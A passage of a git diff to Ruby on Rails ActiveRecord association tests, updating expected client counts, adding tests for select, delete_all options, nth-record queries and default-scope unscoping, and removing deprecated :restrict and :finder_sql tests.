- assert_equal 2, all_clients_of_firm1.size
+ assert_equal 3, all_clients_of_firm1.size
assert_equal 1, grouped_clients_of_firm1.size
end
def test_find_scoped_grouped
assert_equal 1, companies(:first_firm).clients_grouped_by_firm_id.size
assert_equal 1, companies(:first_firm).clients_grouped_by_firm_id.length
- assert_equal 2, companies(:first_firm).clients_grouped_by_name.size
- assert_equal 2, companies(:first_firm).clients_grouped_by_name.length
+ assert_equal 3, companies(:first_firm).clients_grouped_by_name.size
+ assert_equal 3, companies(:first_firm).clients_grouped_by_name.length
end
def test_find_scoped_grouped_having
@@ -533,24 +525,32 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
end
def test_select_query_method
- assert_equal ['id'], posts(:welcome).comments.select(:id).first.attributes.keys
+ assert_equal ['id', 'body'], posts(:welcome).comments.select(:id, :body).first.attributes.keys
+ end
+
+ def test_select_with_block
+ assert_equal [1], posts(:welcome).comments.select { |c| c.id == 1 }.map(&:id)
+ end
+
+ def test_select_without_foreign_key
+ assert_equal companies(:first_firm).accounts.first.credit_limit, companies(:first_firm).accounts.select(:credit_limit).first.credit_limit
end
def test_adding
force_signal37_to_load_all_clients_of_firm
natural = Client.new("name" => "Natural Company")
companies(:first_firm).clients_of_firm << natural
- assert_equal 2, companies(:first_firm).clients_of_firm.size # checking via the collection
- assert_equal 2, companies(:first_firm).clients_of_firm(true).size # checking using the db
+ assert_equal 3, companies(:first_firm).clients_of_firm.size # checking via the collection
+ assert_equal 3, companies(:first_firm).clients_of_firm(true).size # checking using the db
assert_equal natural, companies(:first_firm).clients_of_firm.last
end
def test_adding_using_create
first_firm = companies(:first_firm)
- assert_equal 2, first_firm.plain_clients.size
- first_firm.plain_clients.create(:name => "Natural Company")
- assert_equal 3, first_firm.plain_clients.length
assert_equal 3, first_firm.plain_clients.size
+ first_firm.plain_clients.create(:name => "Natural Company")
+ assert_equal 4, first_firm.plain_clients.length
+ assert_equal 4, first_firm.plain_clients.size
end
def test_create_with_bang_on_has_many_when_parent_is_new_raises
@@ -589,8 +589,8 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
def test_adding_a_collection
force_signal37_to_load_all_clients_of_firm
companies(:first_firm).clients_of_firm.concat([Client.new("name" => "Natural Company"), Client.new("name" => "Apple")])
- assert_equal 3, companies(:first_firm).clients_of_firm.size
- assert_equal 3, companies(:first_firm).clients_of_firm(true).size
+ assert_equal 4, companies(:first_firm).clients_of_firm.size
+ assert_equal 4, companies(:first_firm).clients_of_firm(true).size
end
def test_transactions_when_adding_to_persisted
@@ -612,6 +612,13 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
end
end
+ def test_inverse_on_before_validate
+ firm = companies(:first_firm)
+ assert_queries(1) do
+ firm.clients_of_firm << Client.new("name" => "Natural Company")
+ end
+ end
+
def test_new_aliased_to_build
company = companies(:first_firm)
new_client = assert_no_queries { company.clients_of_firm.new("name" => "Another Client") }
@@ -636,7 +643,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
company = companies(:first_firm) # company already has one client
company.clients_of_firm.build("name" => "Another Client")
company.clients_of_firm.build("name" => "Yet Another Client")
- assert_equal 3, company.clients_of_firm.size
+ assert_equal 4, company.clients_of_firm.size
end
def test_collection_not_empty_after_building
@@ -712,14 +719,14 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
Firm.column_names
Client.column_names
- assert_equal 1, first_firm.clients_of_firm.size
+ assert_equal 2, first_firm.clients_of_firm.size
first_firm.clients_of_firm.reset
assert_queries(1) do
first_firm.clients_of_firm.create(:name => "Superstars")
end
- assert_equal 2, first_firm.clients_of_firm.size
+ assert_equal 3, first_firm.clients_of_firm.size
end
def test_create
@@ -732,7 +739,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
def test_create_many
companies(:first_firm).clients_of_firm.create([{"name" => "Another Client"}, {"name" => "Another Client II"}])
- assert_equal 3, companies(:first_firm).clients_of_firm(true).size
+ assert_equal 4, companies(:first_firm).clients_of_firm(true).size
end
def test_create_followed_by_save_does_not_load_target
@@ -744,8 +751,8 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
def test_deleting
force_signal37_to_load_all_clients_of_firm
companies(:first_firm).clients_of_firm.delete(companies(:first_firm).clients_of_firm.first)
- assert_equal 0, companies(:first_firm).clients_of_firm.size
- assert_equal 0, companies(:first_firm).clients_of_firm(true).size
+ assert_equal 1, companies(:first_firm).clients_of_firm.size
+ assert_equal 1, companies(:first_firm).clients_of_firm(true).size
end
def test_deleting_before_save
@@ -842,27 +849,27 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
def test_deleting_a_collection
force_signal37_to_load_all_clients_of_firm
companies(:first_firm).clients_of_firm.create("name" => "Another Client")
- assert_equal 2, companies(:first_firm).clients_of_firm.size
- companies(:first_firm).clients_of_firm.delete([companies(:first_firm).clients_of_firm[0], companies(:first_firm).clients_of_firm[1]])
+ assert_equal 3, companies(:first_firm).clients_of_firm.size
+ companies(:first_firm).clients_of_firm.delete([companies(:first_firm).clients_of_firm[0], companies(:first_firm).clients_of_firm[1], companies(:first_firm).clients_of_firm[2]])
assert_equal 0, companies(:first_firm).clients_of_firm.size
assert_equal 0, companies(:first_firm).clients_of_firm(true).size
end
def test_delete_all
force_signal37_to_load_all_clients_of_firm
- companies(:first_firm).clients_of_firm.create("name" => "Another Client")
- clients = companies(:first_firm).clients_of_firm.to_a
- assert_equal 2, clients.count
- deleted = companies(:first_firm).clients_of_firm.delete_all
- assert_equal clients.sort_by(&:id), deleted.sort_by(&:id)
- assert_equal 0, companies(:first_firm).clients_of_firm.size
- assert_equal 0, companies(:first_firm).clients_of_firm(true).size
+ companies(:first_firm).dependent_clients_of_firm.create("name" => "Another Client")
+ clients = companies(:first_firm).dependent_clients_of_firm.to_a
+ assert_equal 3, clients.count
+
+ assert_difference "Client.count", -(clients.count) do
+ companies(:first_firm).dependent_clients_of_firm.delete_all
+ end
end
def test_delete_all_with_not_yet_loaded_association_collection
force_signal37_to_load_all_clients_of_firm
companies(:first_firm).clients_of_firm.create("name" => "Another Client")
- assert_equal 2, companies(:first_firm).clients_of_firm.size
+ assert_equal 3, companies(:first_firm).clients_of_firm.size
companies(:first_firm).clients_of_firm.reset
companies(:first_firm).clients_of_firm.delete_all
assert_equal 0, companies(:first_firm).clients_of_firm.size
@@ -895,7 +902,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
def test_clearing_an_association_collection
firm = companies(:first_firm)
client_id = firm.clients_of_firm.first.id
- assert_equal 1, firm.clients_of_firm.size
+ assert_equal 2, firm.clients_of_firm.size
firm.clients_of_firm.clear
@@ -929,23 +936,38 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
def test_clearing_a_dependent_association_collection
firm = companies(:first_firm)
client_id = firm.dependent_clients_of_firm.first.id
- assert_equal 1, firm.dependent_clients_of_firm.size
+ assert_equal 2, firm.dependent_clients_of_firm.size
+ assert_equal 1, Client.find_by_id(client_id).client_of
- # :dependent means destroy is called on each client
+ # :delete_all is called on each client since the dependent options is :destroy
firm.dependent_clients_of_firm.clear
assert_equal 0, firm.dependent_clients_of_firm.size
assert_equal 0, firm.dependent_clients_of_firm(true).size
- assert_equal [client_id], Client.destroyed_client_ids[firm.id]
+ assert_equal [], Client.destroyed_client_ids[firm.id]
# Should be destroyed since the association is dependent.
assert_nil Client.find_by_id(client_id)
end
+ def test_delete_all_with_option_delete_all
+ firm = companies(:first_firm)
+ client_id = firm.dependent_clients_of_firm.first.id
+ firm.dependent_clients_of_firm.delete_all(:delete_all)
+ assert_nil Client.find_by_id(client_id)
+ end
+
+ def test_delete_all_accepts_limited_parameters
+ firm = companies(:first_firm)
+ assert_raise(ArgumentError) do
+ firm.dependent_clients_of_firm.delete_all(:destroy)
+ end
+ end
+
def test_clearing_an_exclusively_dependent_association_collection
firm = companies(:first_firm)
client_id = firm.exclusively_dependent_clients_of_firm.first.id
- assert_equal 1, firm.exclusively_dependent_clients_of_firm.size
+ assert_equal 2, firm.exclusively_dependent_clients_of_firm.size
assert_equal [], Client.destroyed_client_ids[firm.id]
@@ -1001,10 +1023,10 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
def test_delete_all_association_with_primary_key_deletes_correct_records
firm = Firm.first
# break the vanilla firm_id foreign key
- assert_equal 2, firm.clients.count
+ assert_equal 3, firm.clients.count
firm.clients.first.update_columns(firm_id: nil)
- assert_equal 1, firm.clients(true).count
- assert_equal 1, firm.clients_using_primary_key_with_delete_all.count
+ assert_equal 2, firm.clients(true).count
+ assert_equal 2, firm.clients_using_primary_key_with_delete_all.count
old_record = firm.clients_using_primary_key_with_delete_all.first
firm = Firm.first
firm.destroy
@@ -1036,8 +1058,8 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
force_signal37_to_load_all_clients_of_firm
summit = Client.find_by_name('Summit')
companies(:first_firm).clients_of_firm.delete(summit)
- assert_equal 1, companies(:first_firm).clients_of_firm.size
- assert_equal 1, companies(:first_firm).clients_of_firm(true).size
+ assert_equal 2, companies(:first_firm).clients_of_firm.size
+ assert_equal 2, companies(:first_firm).clients_of_firm(true).size
assert_equal 2, summit.client_of
end
@@ -1074,8 +1096,8 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
companies(:first_firm).clients_of_firm.destroy(companies(:first_firm).clients_of_firm.first)
end
- assert_equal 0, companies(:first_firm).reload.clients_of_firm.size
- assert_equal 0, companies(:first_firm).clients_of_firm(true).size
+ assert_equal 1, companies(:first_firm).reload.clients_of_firm.size
+ assert_equal 1, companies(:first_firm).clients_of_firm(true).size
end
def test_destroying_by_fixnum_id
@@ -1085,8 +1107,8 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
companies(:first_firm).clients_of_firm.destroy(companies(:first_firm).clients_of_firm.first.id)
end
- assert_equal 0, companies(:first_firm).reload.clients_of_firm.size
- assert_equal 0, companies(:first_firm).clients_of_firm(true).size
+ assert_equal 1, companies(:first_firm).reload.clients_of_firm.size
+ assert_equal 1, companies(:first_firm).clients_of_firm(true).size
end
def test_destroying_by_string_id
@@ -1096,21 +1118,21 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
companies(:first_firm).clients_of_firm.destroy(companies(:first_firm).clients_of_firm.first.id.to_s)
end
- assert_equal 0, companies(:first_firm).reload.clients_of_firm.size
- assert_equal 0, companies(:first_firm).clients_of_firm(true).size
+ assert_equal 1, companies(:first_firm).reload.clients_of_firm.size
+ assert_equal 1, companies(:first_firm).clients_of_firm(true).size
end
def test_destroying_a_collection
force_signal37_to_load_all_clients_of_firm
companies(:first_firm).clients_of_firm.create("name" => "Another Client")
- assert_equal 2, companies(:first_firm).clients_of_firm.size
+ assert_equal 3, companies(:first_firm).clients_of_firm.size
assert_difference "Client.count", -2 do
companies(:first_firm).clients_of_firm.destroy([companies(:first_firm).clients_of_firm[0], companies(:first_firm).clients_of_firm[1]])
end
- assert_equal 0, companies(:first_firm).reload.clients_of_firm.size
- assert_equal 0, companies(:first_firm).clients_of_firm(true).size
+ assert_equal 1, companies(:first_firm).reload.clients_of_firm.size
+ assert_equal 1, companies(:first_firm).clients_of_firm(true).size
end
def test_destroy_all
@@ -1126,7 +1148,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
def test_dependence
firm = companies(:first_firm)
- assert_equal 2, firm.clients.size
+ assert_equal 3, firm.clients.size
firm.destroy
assert Client.all.merge!(:where => "firm_id=#{firm.id}").to_a.empty?
end
@@ -1139,14 +1161,14 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
def test_destroy_dependent_when_deleted_from_association
# sometimes tests on Oracle fail if ORDER BY is not provided therefore add always :order with :first
firm = Firm.all.merge!(:order => "id").first
- assert_equal 2, firm.clients.size
+ assert_equal 3, firm.clients.size
client = firm.clients.first
firm.clients.delete(client)
assert_raise(ActiveRecord::RecordNotFound) { Client.find(client.id) }
assert_raise(ActiveRecord::RecordNotFound) { firm.clients.find(client.id) }
- assert_equal 1, firm.clients.size
+ assert_equal 2, firm.clients.size
end
def test_three_levels_of_dependence
@@ -1161,12 +1183,12 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
def test_dependence_with_transaction_support_on_failure
firm = companies(:first_firm)
clients = firm.clients
- assert_equal 2, clients.length
+ assert_equal 3, clients.length
clients.last.instance_eval { def overwrite_to_raise() raise "Trigger rollback" end }
firm.destroy rescue "do nothing"
- assert_equal 2, Client.all.merge!(:where => "firm_id=#{firm.id}").to_a.size
+ assert_equal 3, Client.all.merge!(:where => "firm_id=#{firm.id}").to_a.size
end
def test_dependence_on_account
@@ -1189,21 +1211,6 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
assert_equal num_accounts, Account.count
end
- def test_restrict
- firm = RestrictedFirm.create!(:name => 'restrict')
- firm.companies.create(:name => 'child')
-
- assert !firm.companies.empty?
- assert_raise(ActiveRecord::DeleteRestrictionError) { firm.destroy }
- assert RestrictedFirm.exists?(:name => 'restrict')
- assert firm.companies.exists?(:name => 'child')
- end
-
- def test_restrict_is_deprecated
- klass = Class.new(ActiveRecord::Base)
- assert_deprecated { klass.has_many :posts, dependent: :restrict }
- end
-
def test_restrict_with_exception
firm = RestrictedWithExceptionFirm.create!(:name => 'restrict')
firm.companies.create(:name => 'child')
@@ -1280,6 +1287,16 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
assert_equal orig_accounts, firm.accounts
end
+ def test_replace_with_same_content
+ firm = Firm.first
+ firm.clients = []
+ firm.save
+
+ assert_queries(0, ignore_none: true) do
+ firm.clients = []
+ end
+ end
+
def test_transactions_when_replacing_on_persisted
good = Client.new(:name => "Good")
bad = Client.new(:name => "Bad", :raise_on_save => true)
@@ -1302,7 +1319,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
end
def test_get_ids
- assert_equal [companies(:first_client).id, companies(:second_client).id], companies(:first_firm).client_ids
+ assert_equal [companies(:first_client).id, companies(:second_client).id, companies(:another_first_firm_client).id], companies(:first_firm).client_ids
end
def test_get_ids_for_loaded_associations
@@ -1317,7 +1334,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
def test_get_ids_for_unloaded_associations_does_not_load_them
company = companies(:first_firm)
assert !company.clients.loaded?
- assert_equal [companies(:first_client).id, companies(:second_client).id], company.client_ids
+ assert_equal [companies(:first_client).id, companies(:second_client).id, companies(:another_first_firm_client).id], company.client_ids
assert !company.clients.loaded?
end
@@ -1325,15 +1342,8 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
assert_equal [readers(:michael_welcome).id], posts(:welcome).readers_with_person_ids
end
- def test_get_ids_for_unloaded_finder_sql_associations_loads_them
- company = companies(:first_firm)
- assert !company.clients_using_sql.loaded?
- assert_equal [companies(:second_client).id], company.clients_using_sql_ids
- assert company.clients_using_sql.loaded?
- end
-
def test_get_ids_for_ordered_association
- assert_equal [companies(:second_client).id, companies(:first_client).id], companies(:first_firm).clients_ordered_by_name_ids
+ assert_equal [companies(:another_first_firm_client).id, companies(:second_client).id, companies(:first_client).id], companies(:first_firm).clients_ordered_by_name_ids
end
def test_get_ids_for_association_on_new_record_does_not_try_to_find_records
@@ -1419,17 +1429,6 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
assert ! firm.clients.loaded?
end
- def test_include_loads_collection_if_target_uses_finder_sql
- firm = companies(:first_firm)
- client = firm.clients_using_sql.first
-
- firm.reload
- assert ! firm.clients_using_sql.loaded?
- assert_equal true, firm.clients_using_sql.include?(client)
- assert firm.clients_using_sql.loaded?
- end
-
-
def test_include_returns_false_for_non_matching_record_to_verify_scoping
firm = companies(:first_firm)
client = Client.create!(:name => 'Not Associated')
@@ -1438,9 +1437,10 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
assert_equal false, firm.clients.include?(client)
end
- def test_calling_first_or_last_on_association_should_not_load_association
+ def test_calling_first_nth_or_last_on_association_should_not_load_association
firm = companies(:first_firm)
firm.clients.first
+ firm.clients.second
firm.clients.last
assert !firm.clients.loaded?
end
@@ -1465,30 +1465,33 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
assert_queries 1 do
firm.clients.first
+ firm.clients.second
firm.clients.last
end
assert firm.clients.loaded?
end
- def test_calling_first_or_last_on_existing_record_with_create_should_not_load_association
+ def test_calling_first_nth_or_last_on_existing_record_with_create_should_not_load_association
firm = companies(:first_firm)
firm.clients.create(:name => 'Foo')
assert !firm.clients.loaded?
- assert_queries 2 do
+ assert_queries 3 do
firm.clients.first
+ firm.clients.second
firm.clients.last
end
assert !firm.clients.loaded?
end
- def test_calling_first_or_last_on_new_record_should_not_run_queries
+ def test_calling_first_nth_or_last_on_new_record_should_not_run_queries
firm = Firm.new
assert_no_queries do
firm.clients.first
+ firm.clients.second
firm.clients.last
end
end
@@ -1526,15 +1529,17 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
end
end
- def test_calling_first_or_last_with_integer_on_association_should_load_association
+ def test_calling_first_or_last_with_integer_on_association_should_not_load_association
firm = companies(:first_firm)
+ firm.clients.create(:name => 'Foo')
+ assert !firm.clients.loaded?
- assert_queries 1 do
+ assert_queries 2 do
firm.clients.first(2)
firm.clients.last(2)
end
- assert firm.clients.loaded?
+ assert !firm.clients.loaded?
end
def test_calling_many_should_count_instead_of_loading_association
@@ -1573,7 +1578,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
def test_calling_many_should_return_true_if_more_than_one
firm = companies(:first_firm)
assert firm.clients.many?
- assert_equal 2, firm.clients.size
+ assert_equal 3, firm.clients.size
end
def test_joins_with_namespaced_model_should_use_correct_type
@@ -1720,6 +1725,22 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
assert_equal car.id, bulb.attributes_after_initialize['car_id']
end
+ def test_attributes_are_set_when_initialized_from_has_many_null_relationship
+ car = Car.new name: 'honda'
+ bulb = car.bulbs.where(name: 'headlight').first_or_initialize
+ assert_equal 'headlight', bulb.name
+ end
+
+ def test_attributes_are_set_when_initialized_from_polymorphic_has_many_null_relationship
+ post = Post.new title: 'title', body: 'bar'
+ tag = Tag.create!(name: 'foo')
+
+ tagging = post.taggings.where(tag: tag).first_or_initialize
+
+ assert_equal tag.id, tagging.tag_id
+ assert_equal 'Post', tagging.taggable_type
+ end
+
def test_replace
car = Car.create(:name => 'honda')
bulb1 = car.bulbs.create
@@ -1774,16 +1795,6 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
end
end
- test ":finder_sql is deprecated" do
- klass = Class.new(ActiveRecord::Base)
- assert_deprecated { klass.has_many :foo, :finder_sql => 'lol' }
- end
-
- test ":counter_sql is deprecated" do
- klass = Class.new(ActiveRecord::Base)
- assert_deprecated { klass.has_many :foo, :counter_sql => 'lol' }
- end
-
test "has many associations on new records use null relations" do
post = Post.new
@@ -1836,4 +1847,51 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
assert_equal 1, speedometer.minivans.to_a.size, "Only one association should be present:\n#{speedometer.minivans.to_a}"
assert_equal 1, speedometer.reload.minivans.to_a.size
end
+
+ test "can unscope the default scope of the associated model" do
+ car = Car.create!
+ bulb1 = Bulb.create! name: "defaulty", car: car
+ bulb2 = Bulb.create! name: "other", car: car
+
+ assert_equal [bulb1], car.bulbs
+ assert_equal [bulb1, bulb2], car.all_bulbs.sort_by(&:id)
+ end
+
+ test "raises RecordNotDestroyed when replaced child can't be destroyed" do
+ car = Car.create!
+ original_child = FailedBulb.create!(car: car)
+
+ assert_raise(ActiveRecord::RecordNotDestroyed) do
+ car.failed_bulbs = [FailedBulb.create!]
+ end
+
+ assert_equal [original_child], car.reload.failed_bulbs
+ end
+
+ test 'updates counter cache when default scope is given' do
+ topic = DefaultRejectedTopic.create approved: true
+
+ assert_difference "topic.reload.replies_count", 1 do
+ topic.approved_replies.create!
+ end
+ end
+
+ test 'dangerous association name raises ArgumentError' do
+ [:errors, 'errors', :save, 'save'].each do |name|
+ assert_raises(ArgumentError, "Association #{name} should not be allowed") do
+ Class.new(ActiveRecord::Base) do
+ has_many name
+ end
+ end
+ end
+ end
+
+ test 'passes custom context validation to validate children' do
+ pirate = FamousPirate.new
+ pirate.famous_ships << ship = FamousShip.new
+
+ assert pirate.valid?
+ assert_not pirate.valid?(:conference)
+ assert_equal "can't be blank", ship.errors[:name].first
+ end
end
diff --git a/activerecord/test/cases/associations/has_many_through_associations_test.rb b/activerecord/test/cases/associations/has_many_through_associations_test.rb
index 70c6b489aa..2e62189e7a 100644
--- a/activerecord/test/cases/associations/has_many_through_associations_test.rb
+++ b/activerecord/test/cases/associations/has_many_through_associations_test.rb
@@ -5,6 +5,7 @@ require 'models/reference'
require 'models/job'
require 'models/reader'
require 'models/comment'
+require 'models/rating'
require 'models/tag'
require 'models/tagging'
require 'models/author'
@@ -27,7 +28,8 @@ require 'models/club'
class HasManyThroughAssociationsTest < ActiveRecord::TestCase
fixtures :posts, :readers, :people, :comments, :authors, :categories, :taggings, :tags,
:owners, :pets, :toys, :jobs, :references, :companies, :members, :author_addresses,
- :subscribers, :books, :subscriptions, :developers, :categorizations, :essays
+ :subscribers, :books, :subscriptions, :developers, :categorizations, :essays,
+ :categories_posts, :clubs, :memberships
# Dummies to force column loads so query counts are clean.
def setup
@@ -35,6 +37,136 @@ class HasManyThroughAssociationsTest < ActiveRecord::TestCase
Reader.create :person_id => 0, :post_id => 0
end
+ def test_preload_sti_rhs_class
+ developers = Developer.includes(:firms).all.to_a
+ assert_no_queries do
+ developers.each { |d| d.firms }
+ end
+ end
+
+ def test_preload_sti_middle_relation
+ club = Club.create!(name: 'Aaron cool banana club')
+ member1 = Member.create!(name: 'Aaron')
+ member2 = Member.create!(name: 'Cat')
+
+ SuperMembership.create! club: club, member: member1
+ CurrentMembership.create! club: club, member: member2
+
+ club1 = Club.includes(:members).find_by_id club.id
+ assert_equal [member1, member2].sort_by(&:id),
+ club1.members.sort_by(&:id)
+ end
+
+ def make_model(name)
+ Class.new(ActiveRecord::Base) { define_singleton_method(:name) { name } }
+ end
+
+ def test_ordered_habtm
+ person_prime = Class.new(ActiveRecord::Base) do
+ def self.name; 'Person'; end
+
+ has_many :readers
+ has_many :posts, -> { order('posts.id DESC') }, :through => :readers
+ end
+ posts = person_prime.includes(:posts).first.posts
+
+ assert_operator posts.length, :>, 1
+ posts.each_cons(2) do |left,right|
+ assert_operator left.id, :>, right.id
+ end
+ end
+
+ def test_singleton_has_many_through
+ book = make_model "Book"
+ subscription = make_model "Subscription"
+ subscriber = make_model "Subscriber"
+
+ subscriber.primary_key = 'nick'
+ subscription.belongs_to :book, class: book
+ subscription.belongs_to :subscriber, class: subscriber
+
+ book.has_many :subscriptions, class: subscription
+ book.has_many :subscribers, through: :subscriptions, class: subscriber
+
+ anonbook = book.first
+ namebook = Book.find anonbook.id
+
+ assert_operator anonbook.subscribers.count, :>, 0
+ anonbook.subscribers.each do |s|
+ assert_instance_of subscriber, s
+ end
+ assert_equal namebook.subscribers.map(&:id).sort,
+ anonbook.subscribers.map(&:id).sort
+ end
+
+ def test_no_pk_join_table_append
+ lesson, _, student = make_no_pk_hm_t
+
+ sicp = lesson.new(:name => "SICP")
+ ben = student.new(:name => "Ben Bitdiddle")
+ sicp.students << ben
+ assert sicp.save!
+ end
+
+ def test_no_pk_join_table_delete
+ lesson, lesson_student, student = make_no_pk_hm_t
+
+ sicp = lesson.new(:name => "SICP")
+ ben = student.new(:name => "Ben Bitdiddle")
+ louis = student.new(:name => "Louis Reasoner")
+ sicp.students << ben
+ sicp.students << louis
+ assert sicp.save!
+
+ sicp.students.reload
+ assert_operator lesson_student.count, :>=, 2
+ assert_no_difference('student.count') do
+ assert_difference('lesson_student.count', -2) do
+ sicp.students.destroy(*student.all.to_a)
+ end
+ end
+ end
+
+ def test_no_pk_join_model_callbacks
+ lesson, lesson_student, student = make_no_pk_hm_t
+
+ after_destroy_called = false
+ lesson_student.after_destroy do
+ after_destroy_called = true
+ end
+
+ sicp = lesson.new(:name => "SICP")
+ ben = student.new(:name => "Ben Bitdiddle")
+ sicp.students << ben
+ assert sicp.save!
+
+ sicp.students.reload
+ sicp.students.destroy(*student.all.to_a)
+ assert after_destroy_called, "after destroy should be called"
+ end
+
+ def make_no_pk_hm_t
+ lesson = make_model 'Lesson'
+ student = make_model 'Student'
+
+ lesson_student = make_model 'LessonStudent'
+ lesson_student.table_name = 'lessons_students'
+
+ lesson_student.belongs_to :lesson, :class => lesson
+ lesson_student.belongs_to :student, :class => student
+ lesson.has_many :lesson_students, :class => lesson_student
+ lesson.has_many :students, :through => :lesson_students, :class => student
+ [lesson, lesson_student, student]
+ end
+
+ def test_pk_is_not_required_for_join
+ post = Post.includes(:scategories).first
+ post2 = Post.includes(:categories).first
+
+ assert_operator post.categories.length, :>, 0
+ assert_equal post2.categories, post.categories
+ end
+
def test_include?
person = Person.new
post = Post.new
@@ -57,6 +189,47 @@ class HasManyThroughAssociationsTest < ActiveRecord::TestCase
assert post.reload.people(true).include?(person)
end
+ def test_delete_all_for_with_dependent_option_destroy
+ person = people(:david)
+ assert_equal 1, person.jobs_with_dependent_destroy.count
+
+ assert_no_difference 'Job.count' do
+ assert_difference 'Reference.count', -1 do
+ person.reload.jobs_with_dependent_destroy.delete_all
+ end
+ end
+ end
+
+ def test_delete_all_for_with_dependent_option_nullify
+ person = people(:david)
+ assert_equal 1, person.jobs_with_dependent_nullify.count
+
+ assert_no_difference 'Job.count' do
+ assert_no_difference 'Reference.count' do
+ person.reload.jobs_with_dependent_nullify.delete_all
+ end
+ end
+ end
+
+ def test_delete_all_for_with_dependent_option_delete_all
+ person = people(:david)
+ assert_equal 1, person.jobs_with_dependent_delete_all.count
+
+ assert_no_difference 'Job.count' do
+ assert_difference 'Reference.count', -1 do
+ person.reload.jobs_with_dependent_delete_all.delete_all
+ end
+ end
+ end
+
+ def test_concat
+ person = people(:david)
+ post = posts(:thinking)
+ post.people.concat [person]
+ assert_equal 1, post.people.size
+ assert_equal 1, post.people(true).size
+ end
+
def test_associate_existing_record_twice_should_add_to_target_twice
post = posts(:thinking)
person = people(:david)
@@ -341,6 +514,15 @@ class HasManyThroughAssociationsTest < ActiveRecord::TestCase
assert_equal(post.taggings.count, post.taggings_count)
end
+ def test_update_counter_caches_on_destroy
+ post = posts(:welcome)
+ tag = post.tags.create!(name: 'doomed')
+
+ assert_difference 'post.reload.taggings_count', -1 do
+ tag.tagged_posts.destroy(post)
+ end
+ end
+
def test_replace_association
assert_queries(4){posts(:welcome);people(:david);people(:michael); posts(:welcome).people(true)}
@@ -516,9 +698,6 @@ class HasManyThroughAssociationsTest < ActiveRecord::TestCase
[:added, :before, "Roger"],
[:added, :after, "Roger"]
], log.last(4)
-
- post.people_with_callbacks.clear
- assert_equal((%w(Michael David Julian Roger) * 2).sort, log.last(8).collect(&:last).sort)
end
def test_dynamic_find_should_respect_association_include
@@ -582,6 +761,11 @@ class HasManyThroughAssociationsTest < ActiveRecord::TestCase
assert_equal post.author.author_favorites, post.author_favorites
end
+ def test_merge_join_association_with_has_many_through_association_proxy
+ author = authors(:mary)
+ assert_nothing_raised { author.comments.ratings.to_sql }
+ end
+
def test_has_many_association_through_a_has_many_association_with_nonstandard_primary_keys
assert_equal 2, owners(:blackbeard).toys.count
end
@@ -607,7 +791,7 @@ class HasManyThroughAssociationsTest < ActiveRecord::TestCase
sarah = Person.create!(:first_name => 'Sarah', :primary_contact_id => people(:susan).id, :gender => 'F', :number1_fan_id => 1)
john = Person.create!(:first_name => 'John', :primary_contact_id => sarah.id, :gender => 'M', :number1_fan_id => 1)
assert_equal sarah.agents, [john]
- assert_equal people(:susan).agents.map(&:agents).flatten, people(:susan).agents_of_agents
+ assert_equal people(:susan).agents.flat_map(&:agents), people(:susan).agents_of_agents
end
def test_associate_existing_with_nonstandard_primary_key_on_belongs_to
@@ -630,6 +814,13 @@ class HasManyThroughAssociationsTest < ActiveRecord::TestCase
assert author.named_categories(true).include?(category)
end
+ def test_collection_exists
+ author = authors(:mary)
+ category = Category.create!(author_ids: [author.id], name: "Primary")
+ assert category.authors.exists?(id: author.id)
+ assert category.reload.authors.exists?(id: author.id)
+ end
+
def test_collection_delete_with_nonstandard_primary_key_on_belongs_to
author = authors(:mary)
category = author.named_categories.create(:name => "Primary")
@@ -888,7 +1079,7 @@ class HasManyThroughAssociationsTest < ActiveRecord::TestCase
assert_equal ["parrot", "bulbul"], owner.toys.map { |r| r.pet.name }
end
- test "has many through associations on new records use null relations" do
+ def test_has_many_through_associations_on_new_records_use_null_relations
person = Person.new
assert_no_queries do
@@ -900,11 +1091,39 @@ class HasManyThroughAssociationsTest < ActiveRecord::TestCase
end
end
- test "has many through with default scope on the target" do
+ def test_has_many_through_with_default_scope_on_the_target
person = people(:michael)
assert_equal [posts(:thinking)], person.first_posts
readers(:michael_authorless).update(first_post_id: 1)
assert_equal [posts(:thinking)], person.reload.first_posts
end
+
+ def test_has_many_through_with_includes_in_through_association_scope
+ assert_not_empty posts(:welcome).author_address_extra_with_address
+ end
+
+ def test_insert_records_via_has_many_through_association_with_scope
+ club = Club.create!
+ member = Member.create!
+ Membership.create!(club: club, member: member)
+
+ club.favourites << member
+ assert_equal [member], club.favourites
+
+ club.reload
+ assert_equal [member], club.favourites
+ end
+
+ def test_has_many_through_unscope_default_scope
+ post = Post.create!(:title => 'Beaches', :body => "I like beaches!")
+ Reader.create! :person => people(:david), :post => post
+ LazyReader.create! :person => people(:susan), :post => post
+
+ assert_equal 2, post.people.to_a.size
+ assert_equal 1, post.lazy_people.to_a.size
+
+ assert_equal 2, post.lazy_readers_unscope_skimmers.to_a.size
+ assert_equal 2, post.lazy_people_unscope_skimmers.to_a.size
+ end
end
diff --git a/activerecord/test/cases/associations/has_one_associations_test.rb b/activerecord/test/cases/associations/has_one_associations_test.rb
